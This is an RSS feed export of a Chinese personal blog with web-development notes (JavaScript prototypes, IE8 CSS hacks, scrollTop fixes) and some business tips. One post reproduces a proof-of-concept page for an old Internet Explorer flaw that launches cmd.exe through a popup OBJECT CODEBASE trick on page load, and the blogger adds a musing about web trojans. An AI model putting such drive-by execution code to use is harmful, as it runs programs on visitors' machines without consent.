<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>大仙的笔记</title>
	<atom:link href="http://www.huangjunkai.cn/feed" rel="self" type="application/rss+xml" />
	<link>http://www.huangjunkai.cn</link>
	<description>学习笔记，记录梦的每一天。</description>
	<pubDate>Tue, 09 Mar 2010 08:24:41 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>JavaScript的this、prototype、constructor</title>
		<link>http://www.huangjunkai.cn/370</link>
		<comments>http://www.huangjunkai.cn/370#comments</comments>
		<pubDate>Fri, 29 Jan 2010 09:17:39 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=370</guid>
		<description><![CDATA[
//原型链只是 链接

function ClassA (sName,sColor){
   this.name = sName;
   this.color = sColor;
}
ClassA.prototype.name = "Car";
ClassA.prototype.sayName = function(){
        alert(this.name);
}
var obj = new ClassA("Car","red");
obj.name ="Clothes";
obj.sayName();//Colothes
delete obj.name;
obj.sayName();//Car

//=======================================================

//this
//全局this

alert(this === window);//true
alert(window.alert === this.alert);//true
alert(this.parseInt(035,10))l//29

//this是运行时决定的，而不是函数定义的

function sayColor(){//定义一个全局函数,相当于window.sayColor();
      alert(this.color);
}
var color = "red";//定义一个全局变量，相当于window.color = "red";
//sayColor();//等价于window.sayColor();输出red

var Car = {//自定义对象
     [...]]]></description>
			<content:encoded><![CDATA[<pre>
//原型链只是 链接

function ClassA (sName,sColor){
   this.name = sName;
   this.color = sColor;
}
ClassA.prototype.name = "Car";
ClassA.prototype.sayName = function(){
        alert(this.name);
}
var obj = new ClassA("Car","red");
obj.name ="Clothes";
obj.sayName();//Colothes
delete obj.name;
obj.sayName();//Car

//=======================================================

//this
//全局this

alert(this === window);//true
alert(window.alert === this.alert);//true
alert(this.parseInt(035,10))l//29

//this是运行时决定的，而不是函数定义的

function sayColor(){//定义一个全局函数,相当于window.sayColor();
      alert(this.color);
}
var color = "red";//定义一个全局变量，相当于window.color = "red";
//sayColor();//等价于window.sayColor();输出red

var Car = {//自定义对象
     color:"blue"//注意语法符号
}
sayColor.apply(this);//等价于window.sayColor();输出red
sayColor.apply(Car);//sayColor中的this===Car;输出blue

//=======================================================

//函数也是对象

//定义一个全局函数

function sayColor(){
    if (this === window){
	      alert ("this is window");
	}
}
sayColor();//this is window
//将sayColor函数的一个color属性定义为函数
sayColor.color = function(){
    if (this === window ){
	     alert("this is window");
	}else if (this === sayColor){
	     alert("this is sayColor");
	}else if (this === sayName){
	     alert("this is sayName");
	}
}
sayColor.color();//this is sayColor
//定义一个新对象用来传递给它
var sayName = new Object;
sayColor.color.apply(sayName);//this is sayName

//=======================================================

//prototype
//在Array的原型中添加min方法

Array.prototype.min = function(){
     var min = this[0];
	 for (var i = 1;i < this.length; i++){
	     if (this[i] < min){
		     min = this[i];
		 }

	 }
	 		 return min;
};
//alert([52,62,2,3,88,99,6].min());//输出2

//但是，神奇的瞬间发生了
var aValue = [];
for (var i in aValue){
	  alert(i);//输出min，for-in中把min方法循环了出来！用hasOwnProperty解决该问题
	  //if (aValue.hasOwnProperty(i)){//判断是否为aValue中的成员
	  // alert(i);
	 // }
}

//=======================================================

//contructor
//contructor始终指向创建当前对象的函数

var arr = [5545,22,553];
var fnTest= function (){};
var oTest = {};//等价于new Object();
alert(arr.constructor === Array);//true
alert(fnTest.constructor === Function);//true
alert(oTest.constructor === Object);//true

//自定义函数

function Car(sColor){
         this.color = sColor;
}
Car.prototype.sayColor = function(){
         alert(this.color);
}
var obj = new Car("red");
//alert(obj.constructor === Car);//true
//alert(Car.prototype.constructor === Car);//true
//alert(obj.constructor.prototype.constructor === Car);//true

//但是！
function Car(sColor){
         this.color = sColor;
}
Car.prototype = {                  //这里被对象覆盖了
        sayColor:function (){
		   alert(this.color);
		}
}
var obj = new Car("red");
alert(obj.constructor === Car);//false
alert(Car.prototype.constructor === Car);//false
alert(obj.constructor.prototype.constructor === Car);//false
//alert(obj.constructor === Object);//true
//alert(Car.prototype.constructor === Object);//true
//alert(obj.constructor.prototype.constructor === Object);//true

//解决方法重新覆盖，这样Car.prototype.constructor === Car
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/370/feed</wfw:commentRss>
		</item>
		<item>
		<title>好久没写日志了</title>
		<link>http://www.huangjunkai.cn/366</link>
		<comments>http://www.huangjunkai.cn/366#comments</comments>
		<pubDate>Sun, 06 Sep 2009 14:01:23 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[xhtml+css]]></category>

		<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/uncategorized/%e5%a5%bd%e4%b9%85%e6%b2%a1%e5%86%99%e6%97%a5%e5%bf%97%e4%ba%86</guid>
		<description><![CDATA[今天上线一专题。
从版面的设计到页面重构都一个人完成。
PS不咋地，不断进步中。
其中那个滑动门用了人家的一个类。
上图

http://www.999chaye.com/2009zqcybz/
]]></description>
			<content:encoded><![CDATA[<p>今天上线一专题。<br />
从版面的设计到页面重构都一个人完成。<br />
PS不咋地，不断进步中。<br />
其中那个滑动门用了人家的一个类。<br />
上图<br />
<a href="http://www.999chaye.com/2009zqcybz/chayebaozhuang.jpg"><img class="alignnone" title="版面" src="http://www.999chaye.com/2009zqcybz/chayebaozhuang.jpg" alt="" width="864" height="960" /></a><br />
<a href="http://www.999chaye.com/2009zqcybz/" target="_blank">http://www.999chaye.com/2009zqcybz/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/366/feed</wfw:commentRss>
		</item>
		<item>
		<title>IE7与IE8的兼容解决</title>
		<link>http://www.huangjunkai.cn/362</link>
		<comments>http://www.huangjunkai.cn/362#comments</comments>
		<pubDate>Fri, 10 Jul 2009 15:54:46 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[xhtml+css]]></category>

		<category><![CDATA[CSS]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=362</guid>
		<description><![CDATA[IE8蔓延中。。。
IE8亦是我一个头疼的问题。
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-无名分割线&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
微软在IE8提供三种解析页面的模式
　　IE8 Standard Modes ：默认的最标准的模式，严格按照W3C相关规定
　　IE7 Standards Modes ：IE7现在用的解析网页的模式，开起机关是在中加入
　　Quirks Modes ：IE5用的解析网页的模式，开起机关是删除HTML顶部的DOCTYPE声明
　　注意：不同模式间的网页在IE8中可以互相 frame ，因此因不会模式下的DOM和CSS渲染不一样，所以会引发很多问题，务必注意如果你的页面对IE7兼容没有问题，又不想大量修改现有代码，同时又能在IE8中正常使用，微软声称，开发商仅需要在目前兼容IE7的网站上添加一行代码即可解决问题，此代码如下：

&#60;meta http-equiv=&#8221;x-ua-compatible&#8221; content=&#8221;ie=7&#8243; /&#62;
　　IE8 最新css hack：
　　&#8221;\9&#8243;　例:&#8221;margin:0px auto\9;&#8221;.这里的&#8221;\9&#8243;可以区别所有IE和FireFox.
　　&#8221;*&#8221;　IE6、IE7可以识别.IE8、FireFox不能.
　　&#8221;_&#8221;　IE6可以识别&#8221;_&#8221;,IE7、IE8、FireFox不能.
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
PS：IE7那段机关好用，为了可用性建议严格按照W3C标准。
]]></description>
			<content:encoded><![CDATA[<p>IE8蔓延中。。。<br />
IE8亦是我一个头疼的问题。<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-无名分割线&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>微软在IE8提供三种解析页面的模式<br />
</strong>　　IE8 Standard Modes ：默认的最标准的模式，严格按照W3C相关规定<br />
　　IE7 Standards Modes ：IE7现在用的解析网页的模式，开起机关是在中加入<br />
　　Quirks Modes ：IE5用的解析网页的模式，开起机关是删除HTML顶部的DOCTYPE声明<br />
　　注意：不同模式间的网页在IE8中可以互相 frame ，因此因不会模式下的DOM和CSS渲染不一样，所以会引发很多问题，务必注意如果你的页面对IE7兼容没有问题，又不想大量修改现有代码，同时又能在IE8中正常使用，微软声称，开发商仅需要在目前兼容IE7的网站上添加一行代码即可解决问题，此代码如下：<br />
<code></code></p>
<div class="UBBContent">&lt;meta http-equiv=&#8221;x-ua-compatible&#8221; content=&#8221;ie=7&#8243; /&gt;</div>
<p>　　<strong>IE8 最新css hack：</strong></p>
<p>　　&#8221;\9&#8243;　例:&#8221;margin:0px auto\9;&#8221;.这里的&#8221;\9&#8243;可以区别所有IE和FireFox.<br />
　　&#8221;*&#8221;　IE6、IE7可以识别.IE8、FireFox不能.<br />
　　&#8221;_&#8221;　IE6可以识别&#8221;_&#8221;,IE7、IE8、FireFox不能.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>PS：IE7那段机关好用，为了可用性建议严格按照W3C标准。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/362/feed</wfw:commentRss>
		</item>
		<item>
		<title>阿里巴巴的牛B广告</title>
		<link>http://www.huangjunkai.cn/360</link>
		<comments>http://www.huangjunkai.cn/360#comments</comments>
		<pubDate>Wed, 03 Jun 2009 14:52:57 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[网络营销]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=360</guid>
		<description><![CDATA[
1、大事难事，看担当；逆境顺境，看胸襟；是喜是怒，看涵养；有舍有得，看智慧；是成是败，看坚持。
2、心小了，所有的小事就大了；心大了，所有的大事都小了；看淡世事沧桑，内心安然无恙。
3、大其心，容天下之物，虚其心，爱天下之善，平其心，论天下之事，潜其心，观天下之理，定其心，应天下之变。
4、有为有不为，知足知不足；锐气藏于胸，和气浮于面；才气见于事，义气施于人。
5、走正确的路，放无心的手，结有道之朋，断无义之友，饮清净之茶，戒色花之酒，开方便之门，闭是非之口。
6、凡事顺其自然；遇事处之泰然；得意之淡然；失意之时坦然；艰辛曲折必然；历尽沧桑悟然。
]]></description>
			<content:encoded><![CDATA[<p><embed src="http://player.youku.com/player.php/sid/XOTI2Mzg2MzY=/v.swf" quality="high" width="550" height="500" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash"></embed><br />
1、大事难事，看担当；逆境顺境，看胸襟；是喜是怒，看涵养；有舍有得，看智慧；是成是败，看坚持。</p>
<p>2、心小了，所有的小事就大了；心大了，所有的大事都小了；看淡世事沧桑，内心安然无恙。</p>
<p>3、大其心，容天下之物，虚其心，爱天下之善，平其心，论天下之事，潜其心，观天下之理，定其心，应天下之变。</p>
<p>4、有为有不为，知足知不足；锐气藏于胸，和气浮于面；才气见于事，义气施于人。</p>
<p>5、走正确的路，放无心的手，结有道之朋，断无义之友，饮清净之茶，戒色花之酒，开方便之门，闭是非之口。</p>
<p>6、凡事顺其自然；遇事处之泰然；得意之淡然；失意之时坦然；艰辛曲折必然；历尽沧桑悟然。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/360/feed</wfw:commentRss>
		</item>
		<item>
		<title>document.body.scrollTop失效！！</title>
		<link>http://www.huangjunkai.cn/353</link>
		<comments>http://www.huangjunkai.cn/353#comments</comments>
		<pubDate>Mon, 04 May 2009 11:13:28 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=353</guid>
		<description><![CDATA[折腾了一天，撞鬼。想在商品列表中点击购买后弹出提示框，根据document.body.scrollTop设置显示位置，可偏偏失效。
原因：当网站做了以下声明时(&#60;!&#8211;CTYPE html PUBLIC &#8220;-//W3C//DTD XHTML 1.0 Transitional//EN&#8221; http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt&#8211;&#62;)，声明后document.body.scrollTop的值永远等于0，解决办法是只需把document.body用document.documentElement替换即可。
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
附：javascript中关于top、clientTop、scrollTop、offsetTop等

网页可见区域宽： document.body.clientWidth;
网页可见区域高： document.body.clientHeight;
网页可见区域宽： document.body.offsetWidth   (包括边线的宽);
网页可见区域高： document.body.offsetHeight  (包括边线的宽);
网页正文全文宽： document.body.scrollWidth;
网页正文全文高： document.body.scrollHeight;
网页被卷去的高： document.body.scrollTop;
网页被卷去的左： document.body.scrollLeft;
网页正文部分上： window.screenTop;
网页正文部分左： window.screenLeft;
屏幕分辨率的高： window.screen.height;
屏幕分辨率的宽： window.screen.width;
屏幕可用工作区高度： window.screen.availHeight;
屏幕可用工作区宽度：window.screen.availWidth;
]]></description>
			<content:encoded><![CDATA[<p>折腾了一天，撞鬼。想在商品列表中点击购买后弹出提示框，根据document.body.scrollTop设置显示位置，可偏偏失效。<br />
原因：当网站做了以下声明时(&lt;!&#8211;CTYPE html PUBLIC &#8220;-//W3C//DTD XHTML 1.0 Transitional//EN&#8221; <a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt</a>&#8211;&gt;)，声明后document.body.scrollTop的值永远等于0，解决办法是只需把document.body用document.documentElement替换即可。</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>附：javascript中关于top、clientTop、scrollTop、offsetTop等</p>
<p><img class="alignnone size-full wp-image-357" title="javascript关于top、clientTop、scrollTop、offsetTop等" src="http://www.huangjunkai.cn/wp-content/uploads/2009/05/4778736906e2a766090cb.gif" alt="javascript关于top、clientTop、scrollTop、offsetTop等" width="500" height="494" /></p>
<p>网页可见区域宽： document.body.clientWidth;<br />
网页可见区域高： document.body.clientHeight;<br />
网页可见区域宽： document.body.offsetWidth   (包括边线的宽);<br />
网页可见区域高： document.body.offsetHeight  (包括边线的宽);<br />
网页正文全文宽： document.body.scrollWidth;<br />
网页正文全文高： document.body.scrollHeight;<br />
网页被卷去的高： document.body.scrollTop;<br />
网页被卷去的左： document.body.scrollLeft;<br />
网页正文部分上： window.screenTop;<br />
网页正文部分左： window.screenLeft;<br />
屏幕分辨率的高： window.screen.height;<br />
屏幕分辨率的宽： window.screen.width;<br />
屏幕可用工作区高度： window.screen.availHeight;<br />
屏幕可用工作区宽度：window.screen.availWidth;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/353/feed</wfw:commentRss>
		</item>
		<item>
		<title>javascript运行客户端exe程序</title>
		<link>http://www.huangjunkai.cn/349</link>
		<comments>http://www.huangjunkai.cn/349#comments</comments>
		<pubDate>Sat, 02 May 2009 11:37:55 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=349</guid>
		<description><![CDATA[这东西真厉害，我想网页木马应该是先将木马程序缓存到临时文件夹然后来一个shell。本地测试了下OK，到这里貌似不行，挂着先了
(说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。) 


&#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62;
&#60;HTML&#62;
&#60;HEAD&#62;
&#60;TITLE&#62;IE6 security...&#60;/TITLE&#62;
&#60;style type=&#34;text/css&#34;&#62;
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
&#60;/style&#62;
&#60;META http-equiv=Content-Type content=&#34;text/html; charset=windows-1252&#34;&#62;
&#60;SCRIPT language=JScript&#62;
var programName=new Array(
    'c:/windows/system32/cmd.exe',
    'c:/winnt/system32/cmd.exe',
    'c:/cmd.exe'
);
function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html='';
    for(n=0;n&#60;programName.length;n++)
        [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #000000;">这东西真厉害，我想网页木马应该是先将木马程序缓存到临时文件夹然后来一个shell。本地测试了下OK，到这里貌似不行，挂着先了</span></p>
<p><span style="color: #000000;">(说明：这只是提供一种思路，不过能不能运行还要看IE的安全设置。) </span></p>
<div class="runcode">
<p><textarea name="runcode" class="runcode_text" id="runcode_GJ1ssy">
&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;TITLE&gt;IE6 security...&lt;/TITLE&gt;
&lt;style type=&quot;text/css&quot;&gt;
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
&lt;/style&gt;
&lt;META http-equiv=Content-Type content=&quot;text/html; charset=windows-1252&quot;&gt;
&lt;SCRIPT language=JScript&gt;
var programName=new Array(
    'c:/windows/system32/cmd.exe',
    'c:/winnt/system32/cmd.exe',
    'c:/cmd.exe'
);
function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html='';
    for(n=0;n&lt;programName.length;n++)
        html+=&quot;&lt;OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='&quot;+programName[n]+&quot;' %1='r'&gt;&lt;/OBJECT&gt;&quot;;
    oPopBody.innerHTML=html;
    oPopup.show(290, 190, 200, 200, document.body);
}
&lt;/SCRIPT&gt;
&lt;/head&gt;
&lt;BODY onload=&quot;Init()&quot;&gt;
&lt;H1&gt;Hmm, let's start a command shell...&lt;/H1&gt;
&lt;p&gt;
This page doesn't do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
&lt;/p&gt;
&lt;p&gt;
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using &quot;Windows Update&quot; which will prevent this.
&lt;/p&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;
</textarea></p>
<p><input type="button" value="运行" class="runcode_button" onclick="runcode_open_new('runcode_GJ1ssy');"/> <input type="button" value="复制" class="runcode_button" onclick="runcode_copy('runcode_GJ1ssy');"/> 提示：你可以先修改部分代码再运行。</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/349/feed</wfw:commentRss>
		</item>
		<item>
		<title>如何找到风险投资</title>
		<link>http://www.huangjunkai.cn/346</link>
		<comments>http://www.huangjunkai.cn/346#comments</comments>
		<pubDate>Tue, 14 Apr 2009 16:27:32 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[网络营销]]></category>

		<category><![CDATA[商业模式]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=346</guid>
		<description><![CDATA[ 
火种的子杨总结出了他们近期找投资的一些心得，给大家做参考。其实创业是一件很痛苦的事情，互联网更是如此，做实业亏了好歹还有一堆废铜烂铁，锅碗瓢盆可以自我安慰，网络创业失败了，网站关闭就是尘归尘，土归土了。
找风投前，创业者要准备好一份材料，包括
1.公司目的（一句话讲清楚）。
2.要解决的问题和解决办法，尤其要说清楚该方法对用户有什么好处。
3.要分析为什么现在创业，即证明市场已经成熟。
4.市场规模，资金规模。再强调一遍，没有十亿美元的市场不要找红杉。
5.对手分析，必须知己知彼。
6.产品及开发计划。
7.商业模式，其重要性就不多讲了。
8.创始人及团队介绍，如果创始人背景不够强，可以拉上一些名人做董事。
9.最后，也是最重要的—想要多少钱，为什么，怎么花。
附带
Google的十诫
1. 一切以用户为中心，其他一切纷至沓来 Focus on the user and all else will follow.
2. 把一件事做到极致. It’s best to do one thing really, really well.
3. 快比慢好. Fast is better than slow.
4. 网络社会需要民主. Democracy on the web works.
5. 您不一定要在桌子前找答案. You don’t need to be at your desk to need an answer.
6. 不做坏事也能赚钱. You can make money without doing evil.
7. 未知的信息总是存在的. [...]]]></description>
			<content:encoded><![CDATA[<p> </p>
<p><a onclick="pageTracker._trackPageview('/outbound/article/www.hozom.com');" href="http://www.hozom.com/" target="_blank">火种</a>的子杨总结出了他们近期找投资的一些心得，给大家做参考。其实创业是一件很痛苦的事情，互联网更是如此，做实业亏了好歹还有一堆废铜烂铁，锅碗瓢盆可以自我安慰，网络创业失败了，网站关闭就是尘归尘，土归土了。</p>
<p>找风投前，创业者要准备好一份材料，包括<br />
1.公司目的（一句话讲清楚）。<br />
2.要解决的问题和解决办法，尤其要说清楚该方法对用户有什么好处。<br />
3.要分析为什么现在创业，即证明市场已经成熟。<br />
4.市场规模，资金规模。再强调一遍，没有十亿美元的市场不要找红杉。<br />
5.对手分析，必须知己知彼。<br />
6.产品及开发计划。<br />
7.商业模式，其重要性就不多讲了。<br />
8.创始人及团队介绍，如果创始人背景不够强，可以拉上一些名人做董事。<br />
9.最后，也是最重要的—想要多少钱，为什么，怎么花。</p>
<p>附带<br />
Google的十诫<br />
1. 一切以用户为中心，其他一切纷至沓来 Focus on the user and all else will follow.<br />
2. 把一件事做到极致. It’s best to do one thing really, really well.<br />
3. 快比慢好. Fast is better than slow.<br />
4. 网络社会需要民主. Democracy on the web works.<br />
5. 您不一定要在桌子前找答案. You don’t need to be at your desk to need an answer.<br />
6. 不做坏事也能赚钱. You can make money without doing evil.<br />
7. 未知的信息总是存在的. There’s always more information out there.<br />
8. 对信息的需求无所不在. The need for information crosses all borders.<br />
9. 不穿西装也可以严肃认真. You can be serious without a suit.<br />
10. 仅有优秀是远远不够的. Great just isn’t good enough.  </p>
<p>关于成本控制的几点诀窍<br />
1. 该花的钱一定要花，不该花的钱一分钱都不能花。<br />
2. 省钱不是不花钱，不花钱可能造成更大的浪费。<br />
3. 省钱就是赚钱，每省一块钱至少相当于赚三块钱。<br />
4. “应付款是一定要付的，应收款是一定收不到的”（这个不是特别理解）<br />
5. “在最贵的地方点最便宜的菜，在便宜的地方点最贵的菜”</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/346/feed</wfw:commentRss>
		</item>
		<item>
		<title>IE8 Hack</title>
		<link>http://www.huangjunkai.cn/344</link>
		<comments>http://www.huangjunkai.cn/344#comments</comments>
		<pubDate>Tue, 14 Apr 2009 16:11:39 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[xhtml+css]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=344</guid>
		<description><![CDATA[IE8正式版出了一段时间了，我所管理的网站目前在IE8下依然不兼容。也没时间整，考虑到用的人没几个。
这hack以后有用，挂这里先。
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;转载 开始&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
&#8220;\9&#8243;　例:&#8221;margin:0px auto\9;&#8221;.这里的&#8221;\9&#8243;可以区别所有IE和FireFox.
&#8220;*&#8221;　IE6、IE7可以识别.IE8、FireFox不能.
&#8220;_&#8221;　IE6可以识别&#8221;_&#8221;,IE7、IE8、FireFox不能.

&#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62;
&#60;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&#62;
&#60;head&#62;
&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&#62;
&#60;title&#62;区别IE6、IE7、IE8、FireFox的CSS hack - www.52css.com&#60;/title&#62;
&#60;style type=&#34;text/css&#34;&#62;
&#60;!--
#test,#note{
	margin:0 auto;
	text-align:center;
}
#test {
	width:200px;
	height:30px;
	border: 1px solid #000000;
	color:#fff;
	line-height:30px;
}
.color{
	background-color: #CC00FF;		/*所有浏览器都会显示为紫色*/
	background-color: #FF0000\9;	/*IE6、IE7、IE8会显示红色*/
	*background-color: #0066FF;		/*IE6、IE7会变为蓝色*/
	_background-color: #009933;		/*IE6会变为绿色*/
}
--&#62;
&#60;/style&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;div id=&#34;test&#34; class=&#34;color&#34;&#62;测试方块 www.52css.com&#60;/div&#62;
&#60;div id=&#34;note&#34;&#62;
	&#60;strong style=&#34;color:#009933&#34;&#62;IE6&#60;/strong&#62;
	&#60;strong style=&#34;color:#0066FF&#34;&#62;IE7&#60;/strong&#62;
	&#60;strong style=&#34;color:#FF0000&#34;&#62;IE8&#60;/strong&#62;
	&#60;strong style=&#34;color:#CC00FF&#34;&#62;FireFox&#60;/strong&#62;
&#60;/div&#62;
&#60;/body&#62;
&#60;/html&#62;

  提示：你可以先修改部分代码再运行。

]]></description>
			<content:encoded><![CDATA[<p>IE8正式版出了一段时间了，我所管理的网站目前在IE8下依然不兼容。也没时间整，考虑到用的人没几个。<br />
这hack以后有用，挂这里先。<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;转载 开始&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
&#8220;\9&#8243;　例:&#8221;margin:0px auto\9;&#8221;.这里的&#8221;\9&#8243;可以区别所有IE和FireFox.<br />
&#8220;*&#8221;　IE6、IE7可以识别.IE8、FireFox不能.<br />
&#8220;_&#8221;　IE6可以识别&#8221;_&#8221;,IE7、IE8、FireFox不能.</p>
<div class="runcode">
<p><textarea name="runcode" class="runcode_text" id="runcode_Z7KOES">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
&lt;title&gt;区别IE6、IE7、IE8、FireFox的CSS hack - www.52css.com&lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
#test,#note{
	margin:0 auto;
	text-align:center;
}
#test {
	width:200px;
	height:30px;
	border: 1px solid #000000;
	color:#fff;
	line-height:30px;
}
.color{
	background-color: #CC00FF;		/*所有浏览器都会显示为紫色*/
	background-color: #FF0000\9;	/*IE6、IE7、IE8会显示红色*/
	*background-color: #0066FF;		/*IE6、IE7会变为蓝色*/
	_background-color: #009933;		/*IE6会变为绿色*/
}
--&gt;
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;test&quot; class=&quot;color&quot;&gt;测试方块 www.52css.com&lt;/div&gt;
&lt;div id=&quot;note&quot;&gt;
	&lt;strong style=&quot;color:#009933&quot;&gt;IE6&lt;/strong&gt;
	&lt;strong style=&quot;color:#0066FF&quot;&gt;IE7&lt;/strong&gt;
	&lt;strong style=&quot;color:#FF0000&quot;&gt;IE8&lt;/strong&gt;
	&lt;strong style=&quot;color:#CC00FF&quot;&gt;FireFox&lt;/strong&gt;
&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea></p>
<p><input type="button" value="运行" class="runcode_button" onclick="runcode_open_new('runcode_Z7KOES');"/> <input type="button" value="复制" class="runcode_button" onclick="runcode_copy('runcode_Z7KOES');"/> 提示：你可以先修改部分代码再运行。</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.huangjunkai.cn/344/feed</wfw:commentRss>
		</item>
		<item>
		<title>attachEvent和addEventListener 使用方法</title>
		<link>http://www.huangjunkai.cn/341</link>
		<comments>http://www.huangjunkai.cn/341#comments</comments>
		<pubDate>Sun, 29 Mar 2009 13:04:20 +0000</pubDate>
		<dc:creator>大仙</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.huangjunkai.cn/?p=341</guid>
		<description><![CDATA[

